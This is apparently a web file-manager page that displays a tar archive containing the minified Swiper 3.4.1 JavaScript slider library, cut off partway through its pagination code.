Файловый менеджер - Редактировать - /var/www/game-equip/static/img/logo/js.tar
Ðазад
swiper.js 0000674 00000275113 00000000000 0006370 0 ustar 00 /** * Swiper 3.4.1 * Most modern mobile touch slider and framework with hardware accelerated transitions * * http://www.idangero.us/swiper/ * * Copyright 2016, Vladimir Kharlampidi * The iDangero.us * http://www.idangero.us/ * * Licensed under MIT * * Released on: December 13, 2016 */ !function(){"use strict";function e(e){e.fn.swiper=function(a){var s;return e(this).each(function(){var e=new t(this,a);s||(s=e)}),s}}var a,t=function(e,i){function r(e){return Math.floor(e)}function n(){var e=b.params.autoplay,a=b.slides.eq(b.activeIndex);a.attr("data-swiper-autoplay")&&(e=a.attr("data-swiper-autoplay")||b.params.autoplay),b.autoplayTimeoutId=setTimeout(function(){b.params.loop?(b.fixLoop(),b._slideNext(),b.emit("onAutoplay",b)):b.isEnd?i.autoplayStopOnLast?b.stopAutoplay():(b._slideTo(0),b.emit("onAutoplay",b)):(b._slideNext(),b.emit("onAutoplay",b))},e)}function o(e,t){var s=a(e.target);if(!s.is(t))if("string"==typeof t)s=s.parents(t);else if(t.nodeType){var i;return s.parents().each(function(e,a){a===t&&(i=t)}),i?t:void 0}if(0!==s.length)return s[0]}function l(e,a){a=a||{};var t=window.MutationObserver||window.WebkitMutationObserver,s=new t(function(e){e.forEach(function(e){b.onResize(!0),b.emit("onObserverUpdate",b,e)})});s.observe(e,{attributes:"undefined"==typeof a.attributes||a.attributes,childList:"undefined"==typeof a.childList||a.childList,characterData:"undefined"==typeof a.characterData||a.characterData}),b.observers.push(s)}function p(e){e.originalEvent&&(e=e.originalEvent);var a=e.keyCode||e.charCode;if(!b.params.allowSwipeToNext&&(b.isHorizontal()&&39===a||!b.isHorizontal()&&40===a))return!1;if(!b.params.allowSwipeToPrev&&(b.isHorizontal()&&37===a||!b.isHorizontal()&&38===a))return!1;if(!(e.shiftKey||e.altKey||e.ctrlKey||e.metaKey||document.activeElement&&document.activeElement.nodeName&&("input"===document.activeElement.nodeName.toLowerCase()||"textarea"===document.activeElement.nodeName.toLowerCase()))){if(37===a||39===a||38===a||40===a){var t=!1;if(b.container.parents("."+b.params.slideClass).length>0&&0===b.container.parents("."+b.params.slideActiveClass).length)return;var s={left:window.pageXOffset,top:window.pageYOffset},i=window.innerWidth,r=window.innerHeight,n=b.container.offset();b.rtl&&(n.left=n.left-b.container[0].scrollLeft);for(var o=[[n.left,n.top],[n.left+b.width,n.top],[n.left,n.top+b.height],[n.left+b.width,n.top+b.height]],l=0;l<o.length;l++){var p=o[l];p[0]>=s.left&&p[0]<=s.left+i&&p[1]>=s.top&&p[1]<=s.top+r&&(t=!0)}if(!t)return}b.isHorizontal()?(37!==a&&39!==a||(e.preventDefault?e.preventDefault():e.returnValue=!1),(39===a&&!b.rtl||37===a&&b.rtl)&&b.slideNext(),(37===a&&!b.rtl||39===a&&b.rtl)&&b.slidePrev()):(38!==a&&40!==a||(e.preventDefault?e.preventDefault():e.returnValue=!1),40===a&&b.slideNext(),38===a&&b.slidePrev())}}function d(){var e="onwheel",a=e in document;if(!a){var t=document.createElement("div");t.setAttribute(e,"return;"),a="function"==typeof t[e]}return!a&&document.implementation&&document.implementation.hasFeature&&document.implementation.hasFeature("","")!==!0&&(a=document.implementation.hasFeature("Events.wheel","3.0")),a}function u(e){e.originalEvent&&(e=e.originalEvent);var a=0,t=b.rtl?-1:1,s=c(e);if(b.params.mousewheelForceToAxis)if(b.isHorizontal()){if(!(Math.abs(s.pixelX)>Math.abs(s.pixelY)))return;a=s.pixelX*t}else{if(!(Math.abs(s.pixelY)>Math.abs(s.pixelX)))return;a=s.pixelY}else a=Math.abs(s.pixelX)>Math.abs(s.pixelY)?-s.pixelX*t:-s.pixelY;if(0!==a){if(b.params.mousewheelInvert&&(a=-a),b.params.freeMode){var i=b.getWrapperTranslate()+a*b.params.mousewheelSensitivity,r=b.isBeginning,n=b.isEnd;if(i>=b.minTranslate()&&(i=b.minTranslate()),i<=b.maxTranslate()&&(i=b.maxTranslate()),b.setWrapperTransition(0),b.setWrapperTranslate(i),b.updateProgress(),b.updateActiveIndex(),(!r&&b.isBeginning||!n&&b.isEnd)&&b.updateClasses(),b.params.freeModeSticky?(clearTimeout(b.mousewheel.timeout),b.mousewheel.timeout=setTimeout(function(){b.slideReset()},300)):b.params.lazyLoading&&b.lazy&&b.lazy.load(),b.emit("onScroll",b,e),b.params.autoplay&&b.params.autoplayDisableOnInteraction&&b.stopAutoplay(),0===i||i===b.maxTranslate())return}else{if((new window.Date).getTime()-b.mousewheel.lastScrollTime>60)if(a<0)if(b.isEnd&&!b.params.loop||b.animating){if(b.params.mousewheelReleaseOnEdges)return!0}else b.slideNext(),b.emit("onScroll",b,e);else if(b.isBeginning&&!b.params.loop||b.animating){if(b.params.mousewheelReleaseOnEdges)return!0}else b.slidePrev(),b.emit("onScroll",b,e);b.mousewheel.lastScrollTime=(new window.Date).getTime()}return e.preventDefault?e.preventDefault():e.returnValue=!1,!1}}function c(e){var a=10,t=40,s=800,i=0,r=0,n=0,o=0;return"detail"in e&&(r=e.detail),"wheelDelta"in e&&(r=-e.wheelDelta/120),"wheelDeltaY"in e&&(r=-e.wheelDeltaY/120),"wheelDeltaX"in e&&(i=-e.wheelDeltaX/120),"axis"in e&&e.axis===e.HORIZONTAL_AXIS&&(i=r,r=0),n=i*a,o=r*a,"deltaY"in e&&(o=e.deltaY),"deltaX"in e&&(n=e.deltaX),(n||o)&&e.deltaMode&&(1===e.deltaMode?(n*=t,o*=t):(n*=s,o*=s)),n&&!i&&(i=n<1?-1:1),o&&!r&&(r=o<1?-1:1),{spinX:i,spinY:r,pixelX:n,pixelY:o}}function m(e,t){e=a(e);var s,i,r,n=b.rtl?-1:1;s=e.attr("data-swiper-parallax")||"0",i=e.attr("data-swiper-parallax-x"),r=e.attr("data-swiper-parallax-y"),i||r?(i=i||"0",r=r||"0"):b.isHorizontal()?(i=s,r="0"):(r=s,i="0"),i=i.indexOf("%")>=0?parseInt(i,10)*t*n+"%":i*t*n+"px",r=r.indexOf("%")>=0?parseInt(r,10)*t+"%":r*t+"px",e.transform("translate3d("+i+", "+r+",0px)")}function h(e){return 0!==e.indexOf("on")&&(e=e[0]!==e[0].toUpperCase()?"on"+e[0].toUpperCase()+e.substring(1):"on"+e),e}if(!(this instanceof t))return new t(e,i);var g={direction:"horizontal",touchEventsTarget:"container",initialSlide:0,speed:300,autoplay:!1,autoplayDisableOnInteraction:!0,autoplayStopOnLast:!1,iOSEdgeSwipeDetection:!1,iOSEdgeSwipeThreshold:20,freeMode:!1,freeModeMomentum:!0,freeModeMomentumRatio:1,freeModeMomentumBounce:!0,freeModeMomentumBounceRatio:1,freeModeMomentumVelocityRatio:1,freeModeSticky:!1,freeModeMinimumVelocity:.02,autoHeight:!1,setWrapperSize:!1,virtualTranslate:!1,effect:"slide",coverflow:{rotate:50,stretch:0,depth:100,modifier:1,slideShadows:!0},flip:{slideShadows:!0,limitRotation:!0},cube:{slideShadows:!0,shadow:!0,shadowOffset:20,shadowScale:.94},fade:{crossFade:!1},parallax:!1,zoom:!1,zoomMax:3,zoomMin:1,zoomToggle:!0,scrollbar:null,scrollbarHide:!0,scrollbarDraggable:!1,scrollbarSnapOnRelease:!1,keyboardControl:!1,mousewheelControl:!1,mousewheelReleaseOnEdges:!1,mousewheelInvert:!1,mousewheelForceToAxis:!1,mousewheelSensitivity:1,mousewheelEventsTarged:"container",hashnav:!1,hashnavWatchState:!1,history:!1,replaceState:!1,breakpoints:void 0,spaceBetween:0,slidesPerView:1,slidesPerColumn:1,slidesPerColumnFill:"column",slidesPerGroup:1,centeredSlides:!1,slidesOffsetBefore:0,slidesOffsetAfter:0,roundLengths:!1,touchRatio:1,touchAngle:45,simulateTouch:!0,shortSwipes:!0,longSwipes:!0,longSwipesRatio:.5,longSwipesMs:300,followFinger:!0,onlyExternal:!1,threshold:0,touchMoveStopPropagation:!0,touchReleaseOnEdges:!1,uniqueNavElements:!0,pagination:null,paginationElement:"span",paginationClickable:!1,paginationHide:!1,paginationBulletRender:null,paginationProgressRender:null,paginationFractionRender:null,paginationCustomRender:null,paginationType:"bullets",resistance:!0,resistanceRatio:.85,nextButton:null,prevButton:null,watchSlidesProgress:!1,watchSlidesVisibility:!1,grabCursor:!1,preventClicks:!0,preventClicksPropagation:!0,slideToClickedSlide:!1,lazyLoading:!1,lazyLoadingInPrevNext:!1,lazyLoadingInPrevNextAmount:1,lazyLoadingOnTransitionStart:!1,preloadImages:!0,updateOnImagesReady:!0,loop:!1,loopAdditionalSlides:0,loopedSlides:null,control:void 0,controlInverse:!1,controlBy:"slide",normalizeSlideIndex:!0,allowSwipeToPrev:!0,allowSwipeToNext:!0,swipeHandler:null,noSwiping:!0,noSwipingClass:"swiper-no-swiping",passiveListeners:!0,containerModifierClass:"swiper-container-",slideClass:"swiper-slide",slideActiveClass:"swiper-slide-active",slideDuplicateActiveClass:"swiper-slide-duplicate-active",slideVisibleClass:"swiper-slide-visible",slideDuplicateClass:"swiper-slide-duplicate",slideNextClass:"swiper-slide-next",slideDuplicateNextClass:"swiper-slide-duplicate-next",slidePrevClass:"swiper-slide-prev",slideDuplicatePrevClass:"swiper-slide-duplicate-prev",wrapperClass:"swiper-wrapper",bulletClass:"swiper-pagination-bullet",bulletActiveClass:"swiper-pagination-bullet-active",buttonDisabledClass:"swiper-button-disabled",paginationCurrentClass:"swiper-pagination-current",paginationTotalClass:"swiper-pagination-total",paginationHiddenClass:"swiper-pagination-hidden",paginationProgressbarClass:"swiper-pagination-progressbar",paginationClickableClass:"swiper-pagination-clickable",paginationModifierClass:"swiper-pagination-",lazyLoadingClass:"swiper-lazy",lazyStatusLoadingClass:"swiper-lazy-loading",lazyStatusLoadedClass:"swiper-lazy-loaded",lazyPreloaderClass:"swiper-lazy-preloader",notificationClass:"swiper-notification",preloaderClass:"preloader",zoomContainerClass:"swiper-zoom-container",observer:!1,observeParents:!1,a11y:!1,prevSlideMessage:"Previous slide",nextSlideMessage:"Next slide",firstSlideMessage:"This is the first slide",lastSlideMessage:"This is the last slide",paginationBulletMessage:"Go to slide {{index}}",runCallbacksOnInit:!0},f=i&&i.virtualTranslate;i=i||{};var v={};for(var w in i)if("object"!=typeof i[w]||null===i[w]||(i[w].nodeType||i[w]===window||i[w]===document||"undefined"!=typeof s&&i[w]instanceof s||"undefined"!=typeof jQuery&&i[w]instanceof jQuery))v[w]=i[w];else{v[w]={};for(var y in i[w])v[w][y]=i[w][y]}for(var x in g)if("undefined"==typeof i[x])i[x]=g[x];else if("object"==typeof i[x])for(var T in g[x])"undefined"==typeof i[x][T]&&(i[x][T]=g[x][T]);var b=this;if(b.params=i,b.originalParams=v,b.classNames=[],"undefined"!=typeof a&&"undefined"!=typeof s&&(a=s),("undefined"!=typeof a||(a="undefined"==typeof s?window.Dom7||window.Zepto||window.jQuery:s))&&(b.$=a,b.currentBreakpoint=void 0,b.getActiveBreakpoint=function(){if(!b.params.breakpoints)return!1;var e,a=!1,t=[];for(e in b.params.breakpoints)b.params.breakpoints.hasOwnProperty(e)&&t.push(e);t.sort(function(e,a){return parseInt(e,10)>parseInt(a,10)});for(var s=0;s<t.length;s++)e=t[s],e>=window.innerWidth&&!a&&(a=e);return a||"max"},b.setBreakpoint=function(){var e=b.getActiveBreakpoint();if(e&&b.currentBreakpoint!==e){var a=e in b.params.breakpoints?b.params.breakpoints[e]:b.originalParams,t=b.params.loop&&a.slidesPerView!==b.params.slidesPerView;for(var s in a)b.params[s]=a[s];b.currentBreakpoint=e,t&&b.destroyLoop&&b.reLoop(!0)}},b.params.breakpoints&&b.setBreakpoint(),b.container=a(e),0!==b.container.length)){if(b.container.length>1){var S=[];return b.container.each(function(){S.push(new t(this,i))}),S}b.container[0].swiper=b,b.container.data("swiper",b),b.classNames.push(b.params.containerModifierClass+b.params.direction),b.params.freeMode&&b.classNames.push(b.params.containerModifierClass+"free-mode"),b.support.flexbox||(b.classNames.push(b.params.containerModifierClass+"no-flexbox"),b.params.slidesPerColumn=1),b.params.autoHeight&&b.classNames.push(b.params.containerModifierClass+"autoheight"),(b.params.parallax||b.params.watchSlidesVisibility)&&(b.params.watchSlidesProgress=!0),b.params.touchReleaseOnEdges&&(b.params.resistanceRatio=0),["cube","coverflow","flip"].indexOf(b.params.effect)>=0&&(b.support.transforms3d?(b.params.watchSlidesProgress=!0,b.classNames.push(b.params.containerModifierClass+"3d")):b.params.effect="slide"),"slide"!==b.params.effect&&b.classNames.push(b.params.containerModifierClass+b.params.effect),"cube"===b.params.effect&&(b.params.resistanceRatio=0,b.params.slidesPerView=1,b.params.slidesPerColumn=1,b.params.slidesPerGroup=1,b.params.centeredSlides=!1,b.params.spaceBetween=0,b.params.virtualTranslate=!0,b.params.setWrapperSize=!1),"fade"!==b.params.effect&&"flip"!==b.params.effect||(b.params.slidesPerView=1,b.params.slidesPerColumn=1,b.params.slidesPerGroup=1,b.params.watchSlidesProgress=!0,b.params.spaceBetween=0,b.params.setWrapperSize=!1,"undefined"==typeof f&&(b.params.virtualTranslate=!0)),b.params.grabCursor&&b.support.touch&&(b.params.grabCursor=!1),b.wrapper=b.container.children("."+b.params.wrapperClass),b.params.pagination&&(b.paginationContainer=a(b.params.pagination),b.params.uniqueNavElements&&"string"==typeof b.params.pagination&&b.paginationContainer.length>1&&1===b.container.find(b.params.pagination).length&&(b.paginationContainer=b.container.find(b.params.pagination)),"bullets"===b.params.paginationType&&b.params.paginationClickable?b.paginationContainer.addClass(b.params.paginationModifierClass+"clickable"):b.params.paginationClickable=!1,b.paginationContainer.addClass(b.params.paginationModifierClass+b.params.paginationType)),(b.params.nextButton||b.params.prevButton)&&(b.params.nextButton&&(b.nextButton=a(b.params.nextButton),b.params.uniqueNavElements&&"string"==typeof b.params.nextButton&&b.nextButton.length>1&&1===b.container.find(b.params.nextButton).length&&(b.nextButton=b.container.find(b.params.nextButton))),b.params.prevButton&&(b.prevButton=a(b.params.prevButton),b.params.uniqueNavElements&&"string"==typeof b.params.prevButton&&b.prevButton.length>1&&1===b.container.find(b.params.prevButton).length&&(b.prevButton=b.container.find(b.params.prevButton)))),b.isHorizontal=function(){return"horizontal"===b.params.direction},b.rtl=b.isHorizontal()&&("rtl"===b.container[0].dir.toLowerCase()||"rtl"===b.container.css("direction")),b.rtl&&b.classNames.push(b.params.containerModifierClass+"rtl"),b.rtl&&(b.wrongRTL="-webkit-box"===b.wrapper.css("display")),b.params.slidesPerColumn>1&&b.classNames.push(b.params.containerModifierClass+"multirow"),b.device.android&&b.classNames.push(b.params.containerModifierClass+"android"),b.container.addClass(b.classNames.join(" ")),b.translate=0,b.progress=0,b.velocity=0,b.lockSwipeToNext=function(){b.params.allowSwipeToNext=!1,b.params.allowSwipeToPrev===!1&&b.params.grabCursor&&b.unsetGrabCursor()},b.lockSwipeToPrev=function(){b.params.allowSwipeToPrev=!1,b.params.allowSwipeToNext===!1&&b.params.grabCursor&&b.unsetGrabCursor()},b.lockSwipes=function(){b.params.allowSwipeToNext=b.params.allowSwipeToPrev=!1,b.params.grabCursor&&b.unsetGrabCursor()},b.unlockSwipeToNext=function(){b.params.allowSwipeToNext=!0,b.params.allowSwipeToPrev===!0&&b.params.grabCursor&&b.setGrabCursor()},b.unlockSwipeToPrev=function(){b.params.allowSwipeToPrev=!0,b.params.allowSwipeToNext===!0&&b.params.grabCursor&&b.setGrabCursor()},b.unlockSwipes=function(){b.params.allowSwipeToNext=b.params.allowSwipeToPrev=!0,b.params.grabCursor&&b.setGrabCursor()},b.setGrabCursor=function(e){b.container[0].style.cursor="move",b.container[0].style.cursor=e?"-webkit-grabbing":"-webkit-grab",b.container[0].style.cursor=e?"-moz-grabbin":"-moz-grab",b.container[0].style.cursor=e?"grabbing":"grab"},b.unsetGrabCursor=function(){b.container[0].style.cursor=""},b.params.grabCursor&&b.setGrabCursor(),b.imagesToLoad=[],b.imagesLoaded=0,b.loadImage=function(e,a,t,s,i,r){function n(){r&&r()}var o;e.complete&&i?n():a?(o=new window.Image,o.onload=n,o.onerror=n,s&&(o.sizes=s),t&&(o.srcset=t),a&&(o.src=a)):n()},b.preloadImages=function(){function e(){"undefined"!=typeof b&&null!==b&&b&&(void 0!==b.imagesLoaded&&b.imagesLoaded++,b.imagesLoaded===b.imagesToLoad.length&&(b.params.updateOnImagesReady&&b.update(),b.emit("onImagesReady",b)))}b.imagesToLoad=b.container.find("img");for(var a=0;a<b.imagesToLoad.length;a++)b.loadImage(b.imagesToLoad[a],b.imagesToLoad[a].currentSrc||b.imagesToLoad[a].getAttribute("src"),b.imagesToLoad[a].srcset||b.imagesToLoad[a].getAttribute("srcset"),b.imagesToLoad[a].sizes||b.imagesToLoad[a].getAttribute("sizes"),!0,e)},b.autoplayTimeoutId=void 0,b.autoplaying=!1,b.autoplayPaused=!1,b.startAutoplay=function(){return"undefined"==typeof b.autoplayTimeoutId&&(!!b.params.autoplay&&(!b.autoplaying&&(b.autoplaying=!0,b.emit("onAutoplayStart",b),void n())))},b.stopAutoplay=function(e){b.autoplayTimeoutId&&(b.autoplayTimeoutId&&clearTimeout(b.autoplayTimeoutId),b.autoplaying=!1,b.autoplayTimeoutId=void 0,b.emit("onAutoplayStop",b))},b.pauseAutoplay=function(e){b.autoplayPaused||(b.autoplayTimeoutId&&clearTimeout(b.autoplayTimeoutId),b.autoplayPaused=!0,0===e?(b.autoplayPaused=!1,n()):b.wrapper.transitionEnd(function(){b&&(b.autoplayPaused=!1,b.autoplaying?n():b.stopAutoplay())}))},b.minTranslate=function(){return-b.snapGrid[0]},b.maxTranslate=function(){return-b.snapGrid[b.snapGrid.length-1]},b.updateAutoHeight=function(){var e,a=[],t=0;if("auto"!==b.params.slidesPerView&&b.params.slidesPerView>1)for(e=0;e<Math.ceil(b.params.slidesPerView);e++){var s=b.activeIndex+e;if(s>b.slides.length)break;a.push(b.slides.eq(s)[0])}else a.push(b.slides.eq(b.activeIndex)[0]);for(e=0;e<a.length;e++)if("undefined"!=typeof a[e]){var i=a[e].offsetHeight;t=i>t?i:t}t&&b.wrapper.css("height",t+"px")},b.updateContainerSize=function(){var e,a;e="undefined"!=typeof b.params.width?b.params.width:b.container[0].clientWidth,a="undefined"!=typeof b.params.height?b.params.height:b.container[0].clientHeight,0===e&&b.isHorizontal()||0===a&&!b.isHorizontal()||(e=e-parseInt(b.container.css("padding-left"),10)-parseInt(b.container.css("padding-right"),10),a=a-parseInt(b.container.css("padding-top"),10)-parseInt(b.container.css("padding-bottom"),10),b.width=e,b.height=a,b.size=b.isHorizontal()?b.width:b.height)},b.updateSlidesSize=function(){b.slides=b.wrapper.children("."+b.params.slideClass),b.snapGrid=[],b.slidesGrid=[],b.slidesSizesGrid=[];var e,a=b.params.spaceBetween,t=-b.params.slidesOffsetBefore,s=0,i=0;if("undefined"!=typeof b.size){"string"==typeof a&&a.indexOf("%")>=0&&(a=parseFloat(a.replace("%",""))/100*b.size),b.virtualSize=-a,b.rtl?b.slides.css({marginLeft:"",marginTop:""}):b.slides.css({marginRight:"",marginBottom:""});var n;b.params.slidesPerColumn>1&&(n=Math.floor(b.slides.length/b.params.slidesPerColumn)===b.slides.length/b.params.slidesPerColumn?b.slides.length:Math.ceil(b.slides.length/b.params.slidesPerColumn)*b.params.slidesPerColumn,"auto"!==b.params.slidesPerView&&"row"===b.params.slidesPerColumnFill&&(n=Math.max(n,b.params.slidesPerView*b.params.slidesPerColumn)));var o,l=b.params.slidesPerColumn,p=n/l,d=p-(b.params.slidesPerColumn*p-b.slides.length);for(e=0;e<b.slides.length;e++){o=0;var u=b.slides.eq(e);if(b.params.slidesPerColumn>1){var c,m,h;"column"===b.params.slidesPerColumnFill?(m=Math.floor(e/l),h=e-m*l,(m>d||m===d&&h===l-1)&&++h>=l&&(h=0,m++),c=m+h*n/l,u.css({"-webkit-box-ordinal-group":c,"-moz-box-ordinal-group":c,"-ms-flex-order":c,"-webkit-order":c,order:c})):(h=Math.floor(e/p),m=e-h*p),u.css("margin-"+(b.isHorizontal()?"top":"left"),0!==h&&b.params.spaceBetween&&b.params.spaceBetween+"px").attr("data-swiper-column",m).attr("data-swiper-row",h)}"none"!==u.css("display")&&("auto"===b.params.slidesPerView?(o=b.isHorizontal()?u.outerWidth(!0):u.outerHeight(!0),b.params.roundLengths&&(o=r(o))):(o=(b.size-(b.params.slidesPerView-1)*a)/b.params.slidesPerView,b.params.roundLengths&&(o=r(o)),b.isHorizontal()?b.slides[e].style.width=o+"px":b.slides[e].style.height=o+"px"),b.slides[e].swiperSlideSize=o,b.slidesSizesGrid.push(o),b.params.centeredSlides?(t=t+o/2+s/2+a,0===e&&(t=t-b.size/2-a),Math.abs(t)<.001&&(t=0),i%b.params.slidesPerGroup===0&&b.snapGrid.push(t),b.slidesGrid.push(t)):(i%b.params.slidesPerGroup===0&&b.snapGrid.push(t),b.slidesGrid.push(t),t=t+o+a),b.virtualSize+=o+a,s=o,i++)}b.virtualSize=Math.max(b.virtualSize,b.size)+b.params.slidesOffsetAfter;var g;if(b.rtl&&b.wrongRTL&&("slide"===b.params.effect||"coverflow"===b.params.effect)&&b.wrapper.css({width:b.virtualSize+b.params.spaceBetween+"px"}),b.support.flexbox&&!b.params.setWrapperSize||(b.isHorizontal()?b.wrapper.css({width:b.virtualSize+b.params.spaceBetween+"px"}):b.wrapper.css({height:b.virtualSize+b.params.spaceBetween+"px"})),b.params.slidesPerColumn>1&&(b.virtualSize=(o+b.params.spaceBetween)*n,b.virtualSize=Math.ceil(b.virtualSize/b.params.slidesPerColumn)-b.params.spaceBetween,b.isHorizontal()?b.wrapper.css({width:b.virtualSize+b.params.spaceBetween+"px"}):b.wrapper.css({height:b.virtualSize+b.params.spaceBetween+"px"}),b.params.centeredSlides)){for(g=[],e=0;e<b.snapGrid.length;e++)b.snapGrid[e]<b.virtualSize+b.snapGrid[0]&&g.push(b.snapGrid[e]);b.snapGrid=g}if(!b.params.centeredSlides){for(g=[],e=0;e<b.snapGrid.length;e++)b.snapGrid[e]<=b.virtualSize-b.size&&g.push(b.snapGrid[e]);b.snapGrid=g,Math.floor(b.virtualSize-b.size)-Math.floor(b.snapGrid[b.snapGrid.length-1])>1&&b.snapGrid.push(b.virtualSize-b.size)}0===b.snapGrid.length&&(b.snapGrid=[0]),0!==b.params.spaceBetween&&(b.isHorizontal()?b.rtl?b.slides.css({marginLeft:a+"px"}):b.slides.css({marginRight:a+"px"}):b.slides.css({marginBottom:a+"px"})),b.params.watchSlidesProgress&&b.updateSlidesOffset()}},b.updateSlidesOffset=function(){for(var e=0;e<b.slides.length;e++)b.slides[e].swiperSlideOffset=b.isHorizontal()?b.slides[e].offsetLeft:b.slides[e].offsetTop},b.currentSlidesPerView=function(){var e,a,t=1;if(b.params.centeredSlides){var s,i=b.slides[b.activeIndex].swiperSlideSize;for(e=b.activeIndex+1;e<b.slides.length;e++)b.slides[e]&&!s&&(i+=b.slides[e].swiperSlideSize,t++,i>b.size&&(s=!0));for(a=b.activeIndex-1;a>=0;a--)b.slides[a]&&!s&&(i+=b.slides[a].swiperSlideSize,t++,i>b.size&&(s=!0))}else for(e=b.activeIndex+1;e<b.slides.length;e++)b.slidesGrid[e]-b.slidesGrid[b.activeIndex]<b.size&&t++;return t},b.updateSlidesProgress=function(e){if("undefined"==typeof e&&(e=b.translate||0),0!==b.slides.length){"undefined"==typeof b.slides[0].swiperSlideOffset&&b.updateSlidesOffset();var a=-e;b.rtl&&(a=e),b.slides.removeClass(b.params.slideVisibleClass);for(var t=0;t<b.slides.length;t++){var s=b.slides[t],i=(a+(b.params.centeredSlides?b.minTranslate():0)-s.swiperSlideOffset)/(s.swiperSlideSize+b.params.spaceBetween);if(b.params.watchSlidesVisibility){var r=-(a-s.swiperSlideOffset),n=r+b.slidesSizesGrid[t],o=r>=0&&r<b.size||n>0&&n<=b.size||r<=0&&n>=b.size;o&&b.slides.eq(t).addClass(b.params.slideVisibleClass)}s.progress=b.rtl?-i:i}}},b.updateProgress=function(e){"undefined"==typeof e&&(e=b.translate||0);var a=b.maxTranslate()-b.minTranslate(),t=b.isBeginning,s=b.isEnd;0===a?(b.progress=0,b.isBeginning=b.isEnd=!0):(b.progress=(e-b.minTranslate())/a,b.isBeginning=b.progress<=0,b.isEnd=b.progress>=1),b.isBeginning&&!t&&b.emit("onReachBeginning",b),b.isEnd&&!s&&b.emit("onReachEnd",b),b.params.watchSlidesProgress&&b.updateSlidesProgress(e),b.emit("onProgress",b,b.progress)},b.updateActiveIndex=function(){var e,a,t,s=b.rtl?b.translate:-b.translate;for(a=0;a<b.slidesGrid.length;a++)"undefined"!=typeof b.slidesGrid[a+1]?s>=b.slidesGrid[a]&&s<b.slidesGrid[a+1]-(b.slidesGrid[a+1]-b.slidesGrid[a])/2?e=a:s>=b.slidesGrid[a]&&s<b.slidesGrid[a+1]&&(e=a+1):s>=b.slidesGrid[a]&&(e=a);b.params.normalizeSlideIndex&&(e<0||"undefined"==typeof e)&&(e=0),t=Math.floor(e/b.params.slidesPerGroup),t>=b.snapGrid.length&&(t=b.snapGrid.length-1),e!==b.activeIndex&&(b.snapIndex=t,b.previousIndex=b.activeIndex,b.activeIndex=e,b.updateClasses(),b.updateRealIndex())},b.updateRealIndex=function(){b.realIndex=parseInt(b.slides.eq(b.activeIndex).attr("data-swiper-slide-index")||b.activeIndex,10)},b.updateClasses=function(){b.slides.removeClass(b.params.slideActiveClass+" "+b.params.slideNextClass+" "+b.params.slidePrevClass+" "+b.params.slideDuplicateActiveClass+" "+b.params.slideDuplicateNextClass+" "+b.params.slideDuplicatePrevClass);var e=b.slides.eq(b.activeIndex);e.addClass(b.params.slideActiveClass),i.loop&&(e.hasClass(b.params.slideDuplicateClass)?b.wrapper.children("."+b.params.slideClass+":not(."+b.params.slideDuplicateClass+')[data-swiper-slide-index="'+b.realIndex+'"]').addClass(b.params.slideDuplicateActiveClass):b.wrapper.children("."+b.params.slideClass+"."+b.params.slideDuplicateClass+'[data-swiper-slide-index="'+b.realIndex+'"]').addClass(b.params.slideDuplicateActiveClass));var t=e.next("."+b.params.slideClass).addClass(b.params.slideNextClass);b.params.loop&&0===t.length&&(t=b.slides.eq(0),t.addClass(b.params.slideNextClass));var s=e.prev("."+b.params.slideClass).addClass(b.params.slidePrevClass);if(b.params.loop&&0===s.length&&(s=b.slides.eq(-1),s.addClass(b.params.slidePrevClass)),i.loop&&(t.hasClass(b.params.slideDuplicateClass)?b.wrapper.children("."+b.params.slideClass+":not(."+b.params.slideDuplicateClass+')[data-swiper-slide-index="'+t.attr("data-swiper-slide-index")+'"]').addClass(b.params.slideDuplicateNextClass):b.wrapper.children("."+b.params.slideClass+"."+b.params.slideDuplicateClass+'[data-swiper-slide-index="'+t.attr("data-swiper-slide-index")+'"]').addClass(b.params.slideDuplicateNextClass),s.hasClass(b.params.slideDuplicateClass)?b.wrapper.children("."+b.params.slideClass+":not(."+b.params.slideDuplicateClass+')[data-swiper-slide-index="'+s.attr("data-swiper-slide-index")+'"]').addClass(b.params.slideDuplicatePrevClass):b.wrapper.children("."+b.params.slideClass+"."+b.params.slideDuplicateClass+'[data-swiper-slide-index="'+s.attr("data-swiper-slide-index")+'"]').addClass(b.params.slideDuplicatePrevClass)),b.paginationContainer&&b.paginationContainer.length>0){var r,n=b.params.loop?Math.ceil((b.slides.length-2*b.loopedSlides)/b.params.slidesPerGroup):b.snapGrid.length;if(b.params.loop?(r=Math.ceil((b.activeIndex-b.loopedSlides)/b.params.slidesPerGroup),r>b.slides.length-1-2*b.loopedSlides&&(r-=b.slides.length-2*b.loopedSlides),r>n-1&&(r-=n),r<0&&"bullets"!==b.params.paginationType&&(r=n+r)):r="undefined"!=typeof b.snapIndex?b.snapIndex:b.activeIndex||0,"bullets"===b.params.paginationType&&b.bullets&&b.bullets.length>0&&(b.bullets.removeClass(b.params.bulletActiveClass),b.paginationContainer.length>1?b.bullets.each(function(){a(this).index()===r&&a(this).addClass(b.params.bulletActiveClass)}):b.bullets.eq(r).addClass(b.params.bulletActiveClass)),"fraction"===b.params.paginationType&&(b.paginationContainer.find("."+b.params.paginationCurrentClass).text(r+1),b.paginationContainer.find("."+b.params.paginationTotalClass).text(n)),"progress"===b.params.paginationType){var o=(r+1)/n,l=o,p=1;b.isHorizontal()||(p=o,l=1),b.paginationContainer.find("."+b.params.paginationProgressbarClass).transform("translate3d(0,0,0) scaleX("+l+") scaleY("+p+")").transition(b.params.speed)}"custom"===b.params.paginationType&&b.params.paginationCustomRender&&(b.paginationContainer.html(b.params.paginationCustomRender(b,r+1,n)),b.emit("onPaginationRendered",b,b.paginationContainer[0]))}b.params.loop||(b.params.prevButton&&b.prevButton&&b.prevButton.length>0&&(b.isBeginning?(b.prevButton.addClass(b.params.buttonDisabledClass),b.params.a11y&&b.a11y&&b.a11y.disable(b.prevButton)):(b.prevButton.removeClass(b.params.buttonDisabledClass),b.params.a11y&&b.a11y&&b.a11y.enable(b.prevButton))),b.params.nextButton&&b.nextButton&&b.nextButton.length>0&&(b.isEnd?(b.nextButton.addClass(b.params.buttonDisabledClass),b.params.a11y&&b.a11y&&b.a11y.disable(b.nextButton)):(b.nextButton.removeClass(b.params.buttonDisabledClass),b.params.a11y&&b.a11y&&b.a11y.enable(b.nextButton))))},b.updatePagination=function(){if(b.params.pagination&&b.paginationContainer&&b.paginationContainer.length>0){var e="";if("bullets"===b.params.paginationType){for(var a=b.params.loop?Math.ceil((b.slides.length-2*b.loopedSlides)/b.params.slidesPerGroup):b.snapGrid.length,t=0;t<a;t++)e+=b.params.paginationBulletRender?b.params.paginationBulletRender(b,t,b.params.bulletClass):"<"+b.params.paginationElement+' 